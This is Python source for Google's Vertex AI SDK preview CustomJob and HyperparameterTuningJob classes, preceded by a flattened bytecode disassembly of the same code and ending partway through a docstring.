LOAD_FAST custom_jobs EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST custom_jobs LOAD_METHOD append LOAD_FAST custom_job CALL_METHOD POP_TOP JUMP_FORWARD to 676 LOAD_FAST custom_job BUILD_LIST STORE_FAST custom_jobs LOAD_FAST run_context LOAD_METHOD update LOAD_GLOBAL metadata_constants LOAD_ATTR _CUSTOM_JOB_KEY LOAD_FAST custom_jobs BUILD_MAP CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'HyperparameterTuningJob' STORE_NAME __qualname__ LOAD_CONST 'Vertex AI Hyperparameter Tuning Job.' STORE_NAME __doc__ LOAD_CONST (0, None, 'best', None, None, None, None, None) LOAD_NAME str LOAD_NAME CustomJob LOAD_NAME Dict LOAD_NAME str LOAD_NAME str BUILD_TUPLE BINARY_SUBSCR LOAD_NAME Dict LOAD_NAME str LOAD_NAME hyperparameter_tuning LOAD_ATTR _ParameterSpec BUILD_TUPLE BINARY_SUBSCR LOAD_NAME int LOAD_NAME int LOAD_NAME int LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME auth_credentials LOAD_ATTR Credentials BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME Dict LOAD_NAME str LOAD_NAME str BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('display_name', 'custom_job', 'metric_spec', 'parameter_spec', 'max_trial_count', 'parallel_trial_count', 'max_failed_trial_count', 'search_algorithm', 'measurement_selection', 'project', 'location', 'credentials', 'labels', 'encryption_spec_key_name') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab823c2a50, file "f.py", line 449> LOAD_CONST 'HyperparameterTuningJob.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST (None,) LOAD_NAME str LOAD_NAME Optional LOAD_NAME Dict LOAD_NAME str LOAD_NAME str BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME proto LOAD_ATTR Message LOAD_CONST ('resource_name', 'parent_resource_name_fields', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object _get_gca_resource at 0x7fab823c2660, file "f.py", line 671> LOAD_CONST 'HyperparameterTuningJob._get_gca_resource' MAKE_FUNCTION STORE_NAME _get_gca_resource LOAD_NAME base LOAD_METHOD optional_sync CALL_METHOD LOAD_CONST (None, None, None, False, False, None, True, None, False) LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME int BINARY_SUBSCR LOAD_NAME bool LOAD_NAME bool LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME bool LOAD_NAME Optional LOAD_NAME float BINARY_SUBSCR LOAD_NAME bool LOAD_CONST None LOAD_CONST ('service_account', 'network', 'timeout', 'restart_job_on_worker_restart', 'enable_web_access', 'tensorboard', 'sync', 'create_request_timeout', 'disable_retries', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object _run at 0x7fab823c2540, file "f.py", line 700> LOAD_CONST 'HyperparameterTuningJob._run' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _run LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super LOAD_GLOBAL jobs LOAD_ATTR HyperparameterTuningJob LOAD_FAST self CALL_FUNCTION LOAD_ATTR __init__ LOAD_FAST project LOAD_FAST location LOAD_FAST credentials LOAD_CONST ('project', 'location', 'credentials') CALL_FUNCTION POP_TOP LOAD_CONST <code object <listcomp> at 0x7fab823c2e40, file "f.py", line 632> LOAD_CONST 'HyperparameterTuningJob.__init__.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST metric_spec LOAD_METHOD items CALL_METHOD GET_ITER CALL_FUNCTION STORE_FAST metrics LOAD_CONST <code object <listcomp> at 0x7fab823c25d0, file "f.py", line 637> LOAD_CONST 'HyperparameterTuningJob.__init__.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST parameter_spec LOAD_METHOD items CALL_METHOD GET_ITER CALL_FUNCTION STORE_FAST parameters LOAD_GLOBAL study_v1beta1 LOAD_ATTR StudySpec LOAD_FAST metrics LOAD_FAST parameters LOAD_GLOBAL hyperparameter_tuning LOAD_ATTR SEARCH_ALGORITHM_TO_PROTO_VALUE LOAD_FAST search_algorithm BINARY_SUBSCR LOAD_GLOBAL hyperparameter_tuning LOAD_ATTR MEASUREMENT_SELECTION_TO_PROTO_VALUE LOAD_FAST measurement_selection BINARY_SUBSCR LOAD_CONST ('metrics', 'parameters', 'algorithm', 'measurement_selection_type') CALL_FUNCTION STORE_FAST study_spec LOAD_FAST display_name POP_JUMP_IF_TRUE LOAD_FAST self LOAD_ATTR __class__ LOAD_METHOD _generate_display_name CALL_METHOD STORE_FAST display_name LOAD_GLOBAL gca_hyperparameter_tuning_job_compat LOAD_ATTR HyperparameterTuningJob LOAD_FAST display_name LOAD_FAST study_spec LOAD_FAST max_trial_count LOAD_FAST parallel_trial_count LOAD_FAST max_failed_trial_count LOAD_GLOBAL copy LOAD_METHOD deepcopy LOAD_FAST custom_job LOAD_ATTR job_spec CALL_METHOD LOAD_FAST labels LOAD_GLOBAL initializer LOAD_ATTR global_config LOAD_ATTR get_encryption_spec LOAD_FAST encryption_spec_key_name LOAD_GLOBAL compat LOAD_ATTR V1BETA1 LOAD_CONST ('encryption_spec_key_name', 'select_version') CALL_FUNCTION LOAD_CONST ('display_name', 'study_spec', 'max_trial_count', 'parallel_trial_count', 'max_failed_trial_count', 'trial_job_spec', 'labels', 'encryption_spec') CALL_FUNCTION LOAD_FAST self STORE_ATTR _gca_resource LOAD_CONST None RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 34 UNPACK_SEQUENCE STORE_FAST metric_id STORE_FAST goal LOAD_GLOBAL study_v1beta1 LOAD_ATTR StudySpec LOAD_ATTR MetricSpec LOAD_FAST metric_id LOAD_FAST goal LOAD_METHOD upper CALL_METHOD LOAD_CONST ('metric_id', 'goal') CALL_FUNCTION LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 26 UNPACK_SEQUENCE STORE_FAST parameter_id STORE_FAST parameter LOAD_FAST parameter LOAD_ATTR _to_parameter_spec_v1beta1 LOAD_FAST parameter_id LOAD_CONST ('parameter_id',) CALL_FUNCTION LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_GLOBAL utils LOAD_ATTR full_resource_name LOAD_FAST resource_name LOAD_FAST self LOAD_ATTR _resource_noun LOAD_FAST self LOAD_ATTR _parse_resource_name LOAD_FAST self LOAD_ATTR _format_resource_name LOAD_FAST self LOAD_ATTR project LOAD_FAST self LOAD_ATTR location LOAD_FAST parent_resource_name_fields LOAD_FAST self LOAD_ATTR _resource_id_validator LOAD_CONST ('resource_name', 'resource_noun', 'parse_resource_name_method', 'format_resource_name_method', 'project', 'location', 'parent_resource_name_fields', 'resource_id_validator') CALL_FUNCTION STORE_FAST resource_name LOAD_GLOBAL getattr LOAD_FAST self LOAD_ATTR api_client LOAD_METHOD select_version LOAD_CONST 'v1beta1' CALL_METHOD LOAD_FAST self LOAD_ATTR _getter_method CALL_FUNCTION LOAD_FAST resource_name LOAD_GLOBAL _DEFAULT_RETRY LOAD_CONST ('name', 'retry') CALL_FUNCTION RETURN_VALUE LOAD_FAST service_account POP_JUMP_IF_FALSE LOAD_FAST service_account LOAD_FAST self LOAD_ATTR _gca_resource LOAD_ATTR trial_job_spec STORE_ATTR service_account LOAD_FAST network POP_JUMP_IF_FALSE LOAD_FAST network LOAD_FAST self LOAD_ATTR _gca_resource LOAD_ATTR trial_job_spec STORE_ATTR network LOAD_FAST timeout POP_JUMP_IF_TRUE LOAD_FAST restart_job_on_worker_restart POP_JUMP_IF_TRUE LOAD_FAST disable_retries POP_JUMP_IF_FALSE LOAD_FAST timeout POP_JUMP_IF_FALSE LOAD_GLOBAL duration_pb2 LOAD_ATTR Duration LOAD_FAST timeout LOAD_CONST ('seconds',) CALL_FUNCTION JUMP_FORWARD to 58 LOAD_CONST None STORE_FAST duration LOAD_GLOBAL gca_custom_job_compat LOAD_ATTR Scheduling LOAD_FAST duration LOAD_FAST restart_job_on_worker_restart LOAD_FAST disable_retries LOAD_CONST ('timeout', 'restart_job_on_worker_restart', 'disable_retries') CALL_FUNCTION LOAD_FAST self LOAD_ATTR _gca_resource LOAD_ATTR trial_job_spec STORE_ATTR scheduling LOAD_FAST enable_web_access POP_JUMP_IF_FALSE LOAD_FAST enable_web_access LOAD_FAST self LOAD_ATTR _gca_resource LOAD_ATTR trial_job_spec STORE_ATTR enable_web_access LOAD_FAST tensorboard POP_JUMP_IF_FALSE LOAD_FAST tensorboard LOAD_FAST self LOAD_ATTR _gca_resource LOAD_ATTR trial_job_spec STORE_ATTR tensorboard LOAD_GLOBAL _LOGGER LOAD_METHOD log_create_with_lro LOAD_FAST self LOAD_ATTR __class__ CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR api_client LOAD_METHOD select_version LOAD_CONST 'v1beta1' CALL_METHOD LOAD_ATTR create_hyperparameter_tuning_job LOAD_FAST self LOAD_ATTR _parent LOAD_FAST self LOAD_ATTR _gca_resource LOAD_FAST create_request_timeout LOAD_CONST ('parent', 'hyperparameter_tuning_job', 'timeout') CALL_FUNCTION LOAD_FAST self STORE_ATTR _gca_resource LOAD_GLOBAL _LOGGER LOAD_METHOD log_create_complete_with_getter LOAD_FAST self LOAD_ATTR __class__ LOAD_FAST self LOAD_ATTR _gca_resource LOAD_CONST 'hpt_job' CALL_METHOD POP_TOP LOAD_GLOBAL _LOGGER LOAD_METHOD info LOAD_CONST 'View HyperparameterTuningJob:\n%s' LOAD_FAST self LOAD_METHOD _dashboard_uri CALL_METHOD BINARY_MODULO CALL_METHOD POP_TOP LOAD_FAST tensorboard POP_JUMP_IF_FALSE LOAD_GLOBAL _LOGGER LOAD_METHOD info LOAD_CONST 'View Tensorboard:\n%s' LOAD_GLOBAL console_utils LOAD_METHOD custom_job_tensorboard_console_uri LOAD_FAST tensorboard LOAD_FAST self LOAD_ATTR resource_name CALL_METHOD BINARY_MODULO CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD _block_until_complete CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE
from typing import Dict, List, Optional, Union import copy import uuid from google.api_core import retry from google.auth import credentials as auth_credentials from google.cloud import aiplatform from google.cloud.aiplatform import base from google.cloud.aiplatform import compat from google.cloud.aiplatform import initializer from google.cloud.aiplatform import jobs from google.cloud.aiplatform import utils from google.cloud.aiplatform.compat.types import ( custom_job_v1beta1 as gca_custom_job_compat, hyperparameter_tuning_job_v1beta1 as gca_hyperparameter_tuning_job_compat, job_state as gca_job_state, job_state_v1beta1 as gca_job_state_v1beta1, study_v1beta1, ) from google.cloud.aiplatform.compat.types import ( execution_v1beta1 as gcs_execution_compat, ) from google.cloud.aiplatform.compat.types import io_v1beta1 as gca_io_compat from google.cloud.aiplatform.metadata import constants as metadata_constants from google.cloud.aiplatform import hyperparameter_tuning from google.cloud.aiplatform.utils import console_utils import proto from google.protobuf import duration_pb2 # type: ignore _LOGGER = base.Logger(__name__) _DEFAULT_RETRY = retry.Retry() _JOB_COMPLETE_STATES = ( gca_job_state.JobState.JOB_STATE_SUCCEEDED, gca_job_state.JobState.JOB_STATE_FAILED, gca_job_state.JobState.JOB_STATE_CANCELLED, gca_job_state.JobState.JOB_STATE_PAUSED, gca_job_state_v1beta1.JobState.JOB_STATE_SUCCEEDED, gca_job_state_v1beta1.JobState.JOB_STATE_FAILED, gca_job_state_v1beta1.JobState.JOB_STATE_CANCELLED, gca_job_state_v1beta1.JobState.JOB_STATE_PAUSED, ) _JOB_ERROR_STATES = ( gca_job_state.JobState.JOB_STATE_FAILED, gca_job_state.JobState.JOB_STATE_CANCELLED, gca_job_state_v1beta1.JobState.JOB_STATE_FAILED, gca_job_state_v1beta1.JobState.JOB_STATE_CANCELLED, ) class CustomJob(jobs.CustomJob): """Vertex AI Custom Job.""" def __init__( self, display_name: str, worker_pool_specs: Union[ List[Dict], List[gca_custom_job_compat.WorkerPoolSpec] ], base_output_dir: Optional[str] = None, project: Optional[str] = None, location: Optional[str] = None, credentials: Optional[auth_credentials.Credentials] = None, labels: Optional[Dict[str, str]] = None, encryption_spec_key_name: Optional[str] = None, staging_bucket: Optional[str] = None, persistent_resource_id: Optional[str] = None, ): """Constructs a Custom Job with Worker Pool Specs. ``` Example usage: worker_pool_specs = [ { "machine_spec": { "machine_type": "n1-standard-4", "accelerator_type": "NVIDIA_TESLA_K80", "accelerator_count": 1, }, "replica_count": 1, "container_spec": { "image_uri": container_image_uri, "command": [], "args": [], }, } ] my_job = aiplatform.preview.jobs.CustomJob( display_name='my_job', worker_pool_specs=worker_pool_specs, labels={'my_key': 'my_value'}, ) my_job.run() ``` For more information on configuring worker pool specs please visit: https://cloud.google.com/ai-platform-unified/docs/training/create-custom-job Args: display_name (str): Required. The user-defined name of the HyperparameterTuningJob. The name can be up to 128 characters long and can be consist of any UTF-8 characters. worker_pool_specs (Union[List[Dict], List[aiplatform.gapic.WorkerPoolSpec]]): Required. The spec of the worker pools including machine type and Docker image. Can provided as a list of dictionaries or list of WorkerPoolSpec proto messages. base_output_dir (str): Optional. GCS output directory of job. If not provided a timestamped directory in the staging directory will be used. project (str): Optional.Project to run the custom job in. Overrides project set in aiplatform.init. location (str): Optional.Location to run the custom job in. Overrides location set in aiplatform.init. credentials (auth_credentials.Credentials): Optional.Custom credentials to use to run call custom job service. Overrides credentials set in aiplatform.init. labels (Dict[str, str]): Optional. The labels with user-defined metadata to organize CustomJobs. Label keys and values can be no longer than 64 characters (Unicode codepoints), can only contain lowercase letters, numeric characters, underscores and dashes. International characters are allowed. See https://goo.gl/xmQnxf for more information and examples of labels. encryption_spec_key_name (str): Optional.Customer-managed encryption key name for a CustomJob. If this is set, then all resources created by the CustomJob will be encrypted with the provided encryption key. staging_bucket (str): Optional. Bucket for produced custom job artifacts. Overrides staging_bucket set in aiplatform.init. persistent_resource_id (str): Optional. The ID of the PersistentResource in the same Project and Location. If this is specified, the job will be run on existing machines held by the PersistentResource instead of on-demand short-live machines. The network and CMEK configs on the job should be consistent with those on the PersistentResource, otherwise, the job will be rejected. Raises: RuntimeError: If staging bucket was not set using aiplatform.init and a staging bucket was not passed in. """ super().__init__( display_name=display_name, worker_pool_specs=worker_pool_specs, base_output_dir=base_output_dir, project=project, location=location, credentials=credentials, labels=labels, encryption_spec_key_name=encryption_spec_key_name, staging_bucket=staging_bucket, ) staging_bucket = staging_bucket or initializer.global_config.staging_bucket if not staging_bucket: raise RuntimeError( "staging_bucket should be passed to CustomJob constructor or " "should be set using aiplatform.init(staging_bucket='gs://my-bucket')" ) if labels: utils.validate_labels(labels) base_output_dir = base_output_dir or utils._timestamped_gcs_dir( staging_bucket, "aiplatform-custom-job" ) if not display_name: display_name = self.__class__._generate_display_name() self._gca_resource = gca_custom_job_compat.CustomJob( display_name=display_name, job_spec=gca_custom_job_compat.CustomJobSpec( worker_pool_specs=worker_pool_specs, base_output_directory=gca_io_compat.GcsDestination( output_uri_prefix=base_output_dir ), persistent_resource_id=persistent_resource_id, ), labels=labels, encryption_spec=initializer.global_config.get_encryption_spec( encryption_spec_key_name=encryption_spec_key_name, select_version=compat.V1BETA1, ), ) self._experiment = None self._experiment_run = None self._enable_autolog = False def _get_gca_resource( self, resource_name: str, parent_resource_name_fields: Optional[Dict[str, str]] = None, ) -> proto.Message: """Returns GAPIC service representation of client class resource. Args: resource_name (str): Required. A fully-qualified resource name or ID. parent_resource_name_fields (Dict[str,str]): Optional. Mapping of parent resource name key to values. These will be used to compose the resource name if only resource ID is given. Should not include project and location. """ resource_name = utils.full_resource_name( resource_name=resource_name, resource_noun=self._resource_noun, parse_resource_name_method=self._parse_resource_name, format_resource_name_method=self._format_resource_name, project=self.project, location=self.location, parent_resource_name_fields=parent_resource_name_fields, resource_id_validator=self._resource_id_validator, ) return getattr(self.api_client.select_version("v1beta1"), self._getter_method)( name=resource_name, retry=_DEFAULT_RETRY ) def submit( self, *, service_account: Optional[str] = None, network: Optional[str] = None, timeout: Optional[int] = None, restart_job_on_worker_restart: bool = False, enable_web_access: bool = False, experiment: Optional[Union["aiplatform.Experiment", str]] = None, experiment_run: Optional[Union["aiplatform.ExperimentRun", str]] = None, tensorboard: Optional[str] = None, create_request_timeout: Optional[float] = None, disable_retries: bool = False, ) -> None: """Submit the configured CustomJob. Args: service_account (str): Optional. Specifies the service account for workload run-as account. Users submitting jobs must have act-as permission on this run-as account. network (str): Optional. The full name of the Compute Engine network to which the job should be peered. For example, projects/12345/global/networks/myVPC. Private services access must already be configured for the network. timeout (int): The maximum job running time in seconds. The default is 7 days. restart_job_on_worker_restart (bool): Restarts the entire CustomJob if a worker gets restarted. This feature can be used by distributed training jobs that are not resilient to workers leaving and joining a job. enable_web_access (bool): Whether you want Vertex AI to enable interactive shell access to training containers. https://cloud.google.com/vertex-ai/docs/training/monitor-debug-interactive-shell experiment (Union[aiplatform.Experiment, str]): Optional. The instance or name of an Experiment resource to which this CustomJob will upload training parameters and metrics. `service_account` is required with provided `experiment`. For more information on configuring your service account please visit: https://cloud.google.com/vertex-ai/docs/experiments/tensorboard-training experiment_run (Union[aiplatform.ExperimentRun, str]): Optional. The instance or name of an ExperimentRun resource to which this CustomJob will upload training parameters and metrics. This arg can only be set when `experiment` is set. If 'experiment' is set but 'experiment_run` is not, an ExperimentRun resource will still be auto-generated. tensorboard (str): Optional. The name of a Vertex AI [Tensorboard][google.cloud.aiplatform.v1beta1.Tensorboard] resource to which this CustomJob will upload Tensorboard logs. Format: ``projects/{project}/locations/{location}/tensorboards/{tensorboard}`` The training script should write Tensorboard to following Vertex AI environment variable: AIP_TENSORBOARD_LOG_DIR `service_account` is required with provided `tensorboard`. For more information on configuring your service account please visit: https://cloud.google.com/vertex-ai/docs/experiments/tensorboard-training create_request_timeout (float): Optional. The timeout for the create request in seconds. disable_retries (bool): Indicates if the job should retry for internal errors after the job starts running. If True, overrides `restart_job_on_worker_restart` to False. Raises: ValueError: If both `experiment` and `tensorboard` are specified or if `enable_autolog` is True in `CustomJob.from_local_script` but `experiment` is not specified or the specified experiment doesn't have a backing tensorboard. """ if experiment and tensorboard: raise ValueError("'experiment' and 'tensorboard' cannot be set together.") if self._enable_autolog and (not experiment): raise ValueError( "'experiment' is required since you've enabled autolog in 'from_local_script'." ) if service_account: self._gca_resource.job_spec.service_account = service_account if network: self._gca_resource.job_spec.network = network if timeout or restart_job_on_worker_restart or disable_retries: timeout = duration_pb2.Duration(seconds=timeout) if timeout else None self._gca_resource.job_spec.scheduling = gca_custom_job_compat.Scheduling( timeout=timeout, restart_job_on_worker_restart=restart_job_on_worker_restart, disable_retries=disable_retries, ) if enable_web_access: self._gca_resource.job_spec.enable_web_access = enable_web_access if tensorboard: self._gca_resource.job_spec.tensorboard = tensorboard if experiment: if isinstance(experiment, aiplatform.Experiment): self._experiment = experiment experiment = experiment.name else: self._experiment = aiplatform.Experiment.get(experiment_name=experiment) if not self._experiment: raise ValueError( f"Experiment '{experiment}' doesn't exist. " "Please call aiplatform.init(experiment='my-exp') to create an experiment." ) elif ( not self._experiment.backing_tensorboard_resource_name and self._enable_autolog ): raise ValueError( f"Experiment '{experiment}' doesn't have a backing tensorboard resource, " "which is required by the experiment autologging feature. " "Please call Experiment.assign_backing_tensorboard('my-tb-resource-name')." ) if not experiment_run: experiment_run = ( f"{self._gca_resource.display_name}-{uuid.uuid4().hex[0:5]}" ) if isinstance(experiment_run, aiplatform.ExperimentRun): self._experiment_run = experiment_run experiment_run = experiment_run.name else: self._experiment_run = aiplatform.ExperimentRun.get( run_name=experiment_run, experiment=self._experiment, ) if not self._experiment_run: self._experiment_run = aiplatform.ExperimentRun.create( run_name=experiment_run, experiment=self._experiment, ) self._experiment_run.update_state( gcs_execution_compat.Execution.State.RUNNING ) worker_pool_specs = self._gca_resource.job_spec.worker_pool_specs for spec in worker_pool_specs: if not spec: continue if "python_package_spec" in spec: container_spec = spec.python_package_spec else: container_spec = spec.container_spec experiment_env = [ { "name": metadata_constants.ENV_EXPERIMENT_KEY, "value": experiment, }, { "name": metadata_constants.ENV_EXPERIMENT_RUN_KEY, "value": experiment_run, }, ] if "env" in container_spec: container_spec.env.extend(experiment_env) else: container_spec.env = experiment_env _LOGGER.log_create_with_lro(self.__class__) self._gca_resource = self.api_client.select_version( "v1beta1" ).create_custom_job( parent=self._parent, custom_job=self._gca_resource, timeout=create_request_timeout, ) _LOGGER.log_create_complete_with_getter( self.__class__, self._gca_resource, "custom_job" ) _LOGGER.info("View Custom Job:\n%s" % self._dashboard_uri()) if tensorboard: _LOGGER.info( "View Tensorboard:\n%s" % console_utils.custom_job_tensorboard_console_uri( tensorboard, self.resource_name ) ) if experiment: custom_job = { metadata_constants._CUSTOM_JOB_RESOURCE_NAME: self.resource_name, metadata_constants._CUSTOM_JOB_CONSOLE_URI: self._dashboard_uri(), } run_context = self._experiment_run._metadata_node custom_jobs = run_context._gca_resource.metadata.get( metadata_constants._CUSTOM_JOB_KEY ) if custom_jobs: custom_jobs.append(custom_job) else: custom_jobs = [custom_job] run_context.update({metadata_constants._CUSTOM_JOB_KEY: custom_jobs}) class HyperparameterTuningJob(jobs.HyperparameterTuningJob): """Vertex AI Hyperparameter Tuning Job.""" def __init__( self, display_name: str, custom_job: CustomJob, metric_spec: Dict[str, str], parameter_spec: Dict[str, hyperparameter_tuning._ParameterSpec], max_trial_count: int, parallel_trial_count: int, max_failed_trial_count: int = 0, search_algorithm: Optional[str] = None, measurement_selection: Optional[str] = "best", project: Optional[str] = None, location: Optional[str] = None, credentials: Optional[auth_credentials.Credentials] = None, labels: Optional[Dict[str, str]] = None, encryption_spec_key_name: Optional[str] = None, ): """ Configures a HyperparameterTuning Job. Example usage: ``` from google.cloud.aiplatform import hyperparameter_tuning as hpt worker_pool_specs = [ { "machine_spec": { "machine_type": "n1-standard-4", "accelerator_type": "NVIDIA_TESLA_K80", "accelerator_count": 1, }, "replica_count": 1, "container_spec": { "image_uri": container_image_uri, "command": [], "args": [], }, } ] custom_job = aiplatform.preview.jobs.CustomJob( display_name='my_job', worker_pool_specs=worker_pool_specs, labels={'my_key': 'my_value'}, persistent_resource_id='my_persistent_resource', ) hp_job = aiplatform.preview.jobs.HyperparameterTuningJob( display_name='hp-test', custom_job=job, metric_spec={ 'loss': 'minimize', }, parameter_spec={ 'lr': hpt.DoubleParameterSpec(min=0.001, max=0.1, scale='log'), 'units': hpt.IntegerParameterSpec(min=4, max=128, scale='linear'), 'activation': hpt.CategoricalParameterSpec(values=['relu', 'selu']), 'batch_size': hpt.DiscreteParameterSpec(values=[128, 256], scale='linear') }, max_trial_count=128, parallel_trial_count=8, labels={'my_key': 'my_value'}, ) hp_job.run() print(hp_job.trials) ``` For more information on using hyperparameter tuning please visit: https://cloud.google.com/ai-platform-unified/docs/training/using-hyperparameter-tuning Args: display_name (str): Required. The user-defined name of the HyperparameterTuningJob. The name can be up to 128 characters long and can be consist of any UTF-8 characters. custom_job (aiplatform.preview.jobs.CustomJob): Required. Configured CustomJob. The worker pool spec from this custom job applies to the CustomJobs created in all the trials. A persistent_resource_id can be specified on the custom job to be used when running this Hyperparameter Tuning job. metric_spec: Dict[str, str] Required. Dictionary representing metrics to optimize. The dictionary key is the metric_id, which is reported by your training job, and the dictionary value is the optimization goal of the metric('minimize' or 'maximize'). example: metric_spec = {'loss': 'minimize', 'accuracy': 'maximize'} parameter_spec (Dict[str, hyperparameter_tuning._ParameterSpec]): Required. Dictionary representing parameters to optimize. The dictionary key is the metric_id, which is passed into your training job as a command line key word argument, and the dictionary value is the parameter specification of the metric. from google.cloud.aiplatform import hyperparameter_tuning as hpt parameter_spec={ 'decay': hpt.DoubleParameterSpec(min=1e-7, max=1, scale='linear'), 'learning_rate': hpt.DoubleParameterSpec(min=1e-7, max=1, scale='linear') 'batch_size': hpt.DiscreteParamterSpec(values=[4, 8, 16, 32, 64, 128], scale='linear') } Supported parameter specifications can be found until aiplatform.hyperparameter_tuning. These parameter specification are currently supported: DoubleParameterSpec, IntegerParameterSpec, CategoricalParameterSpace, DiscreteParameterSpec max_trial_count (int): Required. The desired total number of Trials. parallel_trial_count (int): Required. The desired number of Trials to run in parallel. max_failed_trial_count (int): Optional. The number of failed Trials that need to be seen before failing the HyperparameterTuningJob. If set to 0, Vertex AI decides how many Trials must fail before the whole job fails. search_algorithm (str): The search algorithm specified for the Study. Accepts one of the following: `None` - If you do not specify an algorithm, your job uses the default Vertex AI algorithm. The default algorithm applies Bayesian optimization to arrive at the optimal solution with a more effective search over the parameter space. 'grid' - A simple grid search within the feasible space. This option is particularly useful if you want to specify a quantity of trials that is greater than the number of points in the feasible space. In such cases, if you do not specify a grid search, the Vertex AI default algorithm may generate duplicate suggestions. To use grid search, all parameter specs must be of type `IntegerParameterSpec`, `CategoricalParameterSpace`, or `DiscreteParameterSpec`. 'random' - A simple random search within the feasible space. measurement_selection (str): This indicates which measurement to use if/when the service automatically selects the final measurement from previously reported intermediate measurements. Accepts: 'best', 'last' Choose this based on two considerations: A) Do you expect your measurements to monotonically improve? If so, choose 'last'. On the other hand, if you're in a situation where your system can "over-train" and you expect the performance to get better for a while but then start declining, choose 'best'. B) Are your measurements significantly noisy and/or irreproducible? If so, 'best' will tend to be over-optimistic, and it may be better to choose 'last'. If both or neither of (A) and (B) apply, it doesn't matter which selection type is chosen. project (str): Optional. Project to run the HyperparameterTuningjob in. Overrides project set in aiplatform.init. location (str): Optional. Location to run the HyperparameterTuning in. Overrides location set in aiplatform.init. credentials (auth_credentials.Credentials): Optional. Custom credentials to use to run call HyperparameterTuning service. Overrides credentials set in aiplatform.init. labels (Dict[str, str]): Optional. The labels with user-defined metadata to organize HyperparameterTuningJobs. Label keys and values can be no longer than 64 characters (Unicode codepoints), can only contain lowercase letters, numeric characters, underscores and dashes. International characters are allowed. See https://goo.gl/xmQnxf for more information and examples of labels. encryption_spec_key_name (str): Optional. Customer-managed encryption key options for a HyperparameterTuningJob. If this is set, then all resources created by the HyperparameterTuningJob will be encrypted with the provided encryption key. """ super(jobs.HyperparameterTuningJob, self).__init__( project=project, location=location, credentials=credentials ) metrics = [ study_v1beta1.StudySpec.MetricSpec(metric_id=metric_id, goal=goal.upper()) for metric_id, goal in metric_spec.items() ] parameters = [ parameter._to_parameter_spec_v1beta1(parameter_id=parameter_id) for parameter_id, parameter in parameter_spec.items() ] study_spec = study_v1beta1.StudySpec( metrics=metrics, parameters=parameters, algorithm=hyperparameter_tuning.SEARCH_ALGORITHM_TO_PROTO_VALUE[ search_algorithm ], measurement_selection_type=hyperparameter_tuning.MEASUREMENT_SELECTION_TO_PROTO_VALUE[ measurement_selection ], ) if not display_name: display_name = self.__class__._generate_display_name() self._gca_resource = ( gca_hyperparameter_tuning_job_compat.HyperparameterTuningJob( display_name=display_name, study_spec=study_spec, max_trial_count=max_trial_count, parallel_trial_count=parallel_trial_count, max_failed_trial_count=max_failed_trial_count, trial_job_spec=copy.deepcopy(custom_job.job_spec), labels=labels, encryption_spec=initializer.global_config.get_encryption_spec( encryption_spec_key_name=encryption_spec_key_name, select_version=compat.V1BETA1, ), ) ) def _get_gca_resource( self, resource_name: str, parent_resource_name_fields: Optional[Dict[str, str]] = None, ) -> proto.Message: """Returns GAPIC service representation of client class resource. Args: resource_name (str): Required. A fully-qualified resource name or ID. parent_resource_name_fields (Dict[str,str]): Optional. Mapping of parent resource name key to values. These will be used to compose the resource name if only resource ID is given. Should not include project and location. """ resource_name = utils.full_resource_name( resource_name=resource_name, resource_noun=self._resource_noun, parse_resource_name_method=self._parse_resource_name, format_resource_name_method=self._format_resource_name, project=self.project, location=self.location, parent_resource_name_fields=parent_resource_name_fields, resource_id_validator=self._resource_id_validator, ) return getattr(self.api_client.select_version("v1beta1"), self._getter_method)( name=resource_name, retry=_DEFAULT_RETRY ) @base.optional_sync() def _run( self, service_account: Optional[str] = None, network: Optional[str] = None, timeout: Optional[int] = None, # seconds restart_job_on_worker_restart: bool = False, enable_web_access: bool = False, tensorboard: Optional[str] = None, sync: bool = True, create_request_timeout: Optional[float] = None, disable_retries: bool = False, ) -> None: """Helper method to ensure network synchronization and to run the configured CustomJob. Args: service_account (str): Optional. Specifies the service account for workload run-as account. Users submitting jobs must have act-as permission on this run-as account. network (str): Optional. The full name of the Compute Engine network to which the job should be peered. For example, projects/12345/global/networks/myVPC. Private services access must already be configured for the network. timeout (int): Optional. The maximum job running time in seconds. The default is 7 days. restart_job_on_worker_restart (bool): Restarts the entire CustomJob if a worker gets restarted. This feature can be used by distributed training jobs that are not resilient to workers leaving and joining a job. enable_web_access (bool): Whether you want Vertex AI to enable interactive shell access to training containers. https://cloud.google.com/vertex-ai/docs/training/monitor-debug-interactive-shell tensorboard (str): Optional. The name of a Vertex AI [Tensorboard][google.cloud.aiplatform.v1beta1.Tensorboard] resource to which this CustomJob will upload Tensorboard logs. Format: ``projects/{project}/locations/{location}/tensorboards/{tensorboard}`` The training script should write Tensorboard to following Vertex AI environment variable: AIP_TENSORBOARD_LOG_DIR `service_account` is required with provided `tensorboard`. For more information on configuring your service account please visit: 